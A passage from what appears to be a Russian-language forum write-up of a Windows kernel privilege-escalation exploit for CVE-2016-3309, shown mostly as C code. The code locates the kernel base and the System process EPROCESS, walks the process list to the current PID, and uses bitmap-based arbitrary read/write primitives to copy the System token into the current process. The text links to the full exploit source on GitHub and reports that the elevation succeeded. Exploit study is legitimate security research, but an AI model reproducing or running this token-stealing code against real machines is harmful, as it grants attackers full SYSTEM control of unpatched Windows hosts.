        ulKrnlBase = Base[0];
    }
    else
    {
        ShowError("EnumDeviceDrivers", GetLastError());
    }
 
    return ulKrnlBase;
}
 
ULONG64 GetSystemProcess()
{
    HMODULE hModel = NULL;
    ULONG64 ulAddress = 0, ulOSBase = 0, ulRes = 0;
 
    ulOSBase = GetNTBase();
    if (ulOSBase == 0)
    {
        goto exit;
    }
 
    hModel = LoadLibrary("ntoskrnl.exe");
    if (!hModel)
    {
        ShowError("LoadLibrary", GetLastError());
        goto exit;
    }
 
    ulAddress = (ULONG64)GetProcAddress(hModel, "PsInitialSystemProcess");
    if (!ulAddress)
    {
        ShowError("GetProcAddress", GetLastError());
        goto exit;
    }
 
    ulRes = ulAddress - (ULONG64)hModel + ulOSBase;
 
exit:
    return ulRes;
}

С адресом EPROCESS процесса System замена токена может быть достигнута с помощью функции чтения и записи любого адреса, реализованной выше.Соответствующий код выглядит следующим образом:

Код:
BOOL EnablePrivilege_CVE_2016_3309()
{
    BOOL bRet = TRUE;
    CONST DWORD dwTokenOffset = 0x358, dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8;
    ULONG64 ulSystemToken = 0, ulEprocess = 0;
 
    ulEprocess = GetSystemEprocess_CVE_2016_3309();
    if (!ulEprocess)
    {
        bRet = FALSE;
        goto exit;
    }
 
    if (!BitMapRead_CVE_2016_3309(ulEprocess + dwTokenOffset,
        (PBYTE)&ulSystemToken,
        sizeof(ULONG64)))
    {
        bRet = FALSE;
        goto exit;
    }
 
    ULONG64 ulCurPID = GetCurrentProcessId(), ulPID = 0;
 
    do {
        if (!BitMapRead_CVE_2016_3309(ulEprocess + dwLinkOffset,
            (PBYTE)&ulEprocess, sizeof(ULONG64)))
        {
            bRet = FALSE;
            goto exit;
        }
 
        ulEprocess = ulEprocess - dwLinkOffset;
 
        if (!BitMapRead_CVE_2016_3309(ulEprocess + dwPIDOffset,
            (PBYTE)&ulPID, sizeof(ULONG64)))
        {
            bRet = FALSE;
            goto exit;
        }
    } while (ulPID != ulCurPID);
 
    if (!BitMapWrite_CVE_2016_3309(ulEprocess + dwTokenOffset, (PBYTE)&ulSystemToken, sizeof(ULONG64)))
    {
        bRet = FALSE;
        goto exit;
    }
 
exit:
    return bRet;
}
 
ULONG64 GetSystemEprocess_CVE_2016_3309()
{
    ULONG64 ulSystemAddr = GetSystemProcess();
 
    if (!ulSystemAddr)
    {
        goto exit;
    }
 
    ULONG64 ulSystemEprocess = 0;
 
    if (!BitMapRead_CVE_2016_3309(ulSystemAddr,
                      (PBYTE)&ulSystemEprocess,
                      sizeof(ULONG64)))
    {
        goto exit;
    }
 
exit:
    return ulSystemEprocess;
}

Полный адрес exp хранится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2016-3309.cpp . Запустите программу, и вы увидите, что повышение привилегий прошло успешно:

1660621792993.png
 

Вложения

  • 1660620708399.png
    1660620708399.png
    18 КБ · Просмотры: 8
  • 1660620722192.png
    1660620722192.png
    18 КБ · Просмотры: 7


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх